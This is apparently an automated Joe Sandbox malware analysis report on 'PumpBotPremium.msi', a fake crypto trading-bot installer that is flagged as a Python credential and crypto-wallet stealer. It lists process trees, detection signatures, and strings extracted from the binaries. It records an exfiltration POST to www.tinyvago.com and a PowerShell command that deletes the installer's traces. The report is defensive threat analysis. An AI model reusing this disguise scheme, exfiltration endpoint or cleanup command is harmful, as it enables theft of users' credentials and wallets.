Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PumpBotPremium.msi

Overview

General Information

Sample name:PumpBotPremium.msi
Analysis ID:1545725
MD5:9f08612018c349c8c6a27805064e34c6
SHA1:75c97a2a7f4dbad493239110d8695df62c84fe0d
SHA256:c6309489b3f61e00ec320db6c0e6ffd2875a3f94f86ee00b30946fa6ba535551
Tags:msiuser-500mk500
Infos:

Detection

Python Stealer
Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
AI detected suspicious sample
Found many strings related to Crypto-Wallets (likely being stolen)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Yara detected Generic Python Stealer
Adds / modifies Windows certificates
Checks for available system drives (often done to infect USB drives)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Stores large binary data to the registry
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • msiexec.exe (PID: 7268 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\PumpBotPremium.msi" MD5: E5DA170027542E25EDE42FC54C929077)
  • msiexec.exe (PID: 7300 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)
    • msiexec.exe (PID: 7400 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding B605B066270C5298BC361F916947E4D1 MD5: 9D09DC1EDA745A5F87553048E57620CF)
    • aipackagechainer.exe (PID: 7536 cmdline: "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe" MD5: 6BE93FD0684F69F0FA34E68B750CF23E)
      • BlockchainConnector.exe (PID: 7560 cmdline: "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s MD5: 65A50EBD00840753BA72C425D692E72E)
        • conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • BlockchainConnector.exe (PID: 7736 cmdline: "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s MD5: E2FCA92943AC7464998DB6DEC39BDDD7)
          • cmd.exe (PID: 7800 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • powershell.exe (PID: 7992 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 2756 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 6944 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 6948 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7476 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeJoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
    C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpJoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
        00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
          Process Memory Space: BlockchainConnector.exe PID: 7736JoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
            Process Memory Space: BlockchainConnector.exe PID: 7736JoeSecurity_CredentialStealerYara detected Credential StealerJoe Security

              Sigma Signatures

              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10", CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe", ParentImage: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe, ParentProcessId: 7536, ParentProcessName: aipackagechainer.exe, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -NoLogo -ExecutionPolicy RemoteSigned -Command "C:\Windows\SystemTemp\AI_D021.ps1 -paths 'C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe','C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium','C:\Users\user\AppData\Roaming\Coinsw.app' -retry_count 10", ProcessId: 7992, ProcessName: powershell.exe

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-10-30T22:05:24.405605+010028438561A Network Trojan was detected192.168.2.449735167.99.214.19480TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeAvira: detection malicious, Label: TR/AD.GenSteal.rfuve
              Multi AV Scanner detection for dropped file
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeReversingLabs: Detection: 25%
              Multi AV Scanner detection for submitted file
              Source: PumpBotPremium.msiReversingLabs: Detection: 13%
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 92.3% probability
              Source: Binary string: C:\ReleaseAI\win\Release\custact\x86\aipackagechainer.pdb source: aipackagechainer.exe, 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmp, aipackagechainer.exe, 00000003.00000000.1739187011.00000000002AE000.00000002.00000001.01000000.00000003.sdmp
              Source: Binary string: D:\a\opencv-python\opencv-python\_skbuild\win-amd64-3.7\cmake-build\lib\python3\Release\cv2.pdb source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D76A75000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: BlockchainConnector.exe, 00000007.00000002.1903815403.0000019A0A0E0000.00000002.00000001.01000000.00000010.sdmp
              Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: c:
              Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002347C0 FindFirstFileW,GetLastError,FindClose,3_2_002347C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002416D0 FindFirstFileW,FindClose,FindClose,3_2_002416D0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00229E30 FindFirstFileW,CloseHandle,CreateFileW,SetFilePointer,ReadFile,CloseHandle,SetCurrentDirectoryW,OpenMutexW,GetLastError,WaitForSingleObject,CloseHandle,CloseHandle,FindClose,3_2_00229E30
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0022BF60 DeleteFileW,FindFirstFileW,FindNextFileW,FindClose,PathIsDirectoryW,3_2_0022BF60
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002940CD FindFirstFileExW,FindNextFileW,FindClose,FindClose,3_2_002940CD
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002545C0 FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,3_2_002545C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00254A00 FindFirstFileW,FindClose,3_2_00254A00
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0024CDF0 FindFirstFileW,FindClose,3_2_0024CDF0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00211880 FindFirstFileW,FindNextFileW,FindClose,3_2_00211880
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00231920 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,3_2_00231920
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00235AD0 FindFirstFileW,FindClose,3_2_00235AD0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00255E50 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,3_2_00255E50
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002533F0 _wcsrchr,_wcsrchr,GetLogicalDriveStringsW,GetDriveTypeW,Wow64DisableWow64FsRedirection,Wow64RevertWow64FsRedirection,3_2_002533F0

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 2843856 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2 : 192.168.2.4:49735 -> 167.99.214.194:80
              Source: Joe Sandbox ViewASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficDNS traffic detected: DNS query: www.tinyvago.com
              Source: unknownHTTP traffic detected: POST /pip/x/requirements.php HTTP/1.1Host: www.tinyvago.comUser-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-aliveContent-Length: 339936Content-Type: multipart/form-data; boundary=fcf56c8ba9076abc4a2389945ea4f71e
              Source: BlockchainConnector.exe, 00000007.00000002.1905482456.0000019A0CD30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.../back.jpeg
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arxiv.org/abs/1805.10941.
              Source: BlockchainConnector.exe, 00000007.00000003.1894585571.0000019A0C243000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894628577.0000019A0C246000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904396374.0000019A0C247000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1F8000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
              Source: BlockchainConnector.exe, 00000007.00000002.1905556974.0000019A0CE60000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://bugs.python.org/issue23606)
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://bugs.python.org/issue23606)uctypes.util.find_library()
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://caffe.berkeleyvision.org
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://caffe.berkeleyvision.org/)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://campar.in.tum.de/Chair/HandEyeCalibration).
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf
              Source: BlockchainConnector.exe, 00000007.00000003.1894585571.0000019A0C243000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894628577.0000019A0C246000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904396374.0000019A0C247000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905482456.0000019A0CD30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905630547.0000019A0D0B0000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905556974.0000019A0CE60000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
              Source: powershell.exe, 0000000B.00000002.2052394001.000000000740C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
              Source: powershell.exe, 0000000B.00000002.2052394001.000000000740C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1905407661.0000019A0CC30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78981000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://dashif.org/guidelines/trickmode
              Source: BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://digitalassets.lib.berkeley.edu/sdtr/ucb/text/34.pdf
              Source: BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/3/library/functools.html#functools.lru_cache.
              Source: BlockchainConnector.exe, 00000007.00000002.1904176562.0000019A0BF30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://goo.gl/zeJZl.
              Source: BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/
              Source: BlockchainConnector.exe, 00000007.00000003.1895148378.0000019A0C236000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904334897.0000019A0C237000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail
              Source: BlockchainConnector.exe, 00000007.00000002.1904576783.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail/
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://homepages.inf.ed.ac.uk/rbf/HIPR2/hough.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904035119.0000019A0BE30000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://httpbin.org/
              Source: BlockchainConnector.exe, 00000007.00000002.1903547724.0000019A09F20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://json.org
              Source: BlockchainConnector.exe, 00000007.00000002.1904255809.0000019A0C130000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://mail.python.org/pipermail/python-dev/2012-June/120787.html.
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/BinomialDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/CauchyDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/GammaDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/HypergeometricDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/LaplaceDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/LogisticDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/NegativeBinomialDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/NoncentralF-Distribution.html
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/PoissonDistribution.html
              Source: BlockchainConnector.exe, 00000007.00000003.1893654450.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904576783.0000019A0C3F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://mathworld.wolfram.com/SincFunction.html
              Source: powershell.exe, 0000000B.00000002.2040508613.0000000004F77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2047990476.0000000005C6A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78CC1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://opencv.org/D
              Source: powershell.exe, 00000010.00000002.1988393880.0000000005311000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D401000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pracrand.sourceforge.net/RNG_engines.txt
              Source: powershell.exe, 0000000B.00000002.2040508613.0000000004C01000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: BlockchainConnector.exe, 00000007.00000002.1906683351.0000019A0DBE0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://speleotrove.com/decimal/decarith.html
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78981000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://standards.iso.org/ittf/PubliclyAvailableStandards/MPEG-DASH_schema_files/DASH-MPD.xsd
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: http://tip.tcl.tk/48)
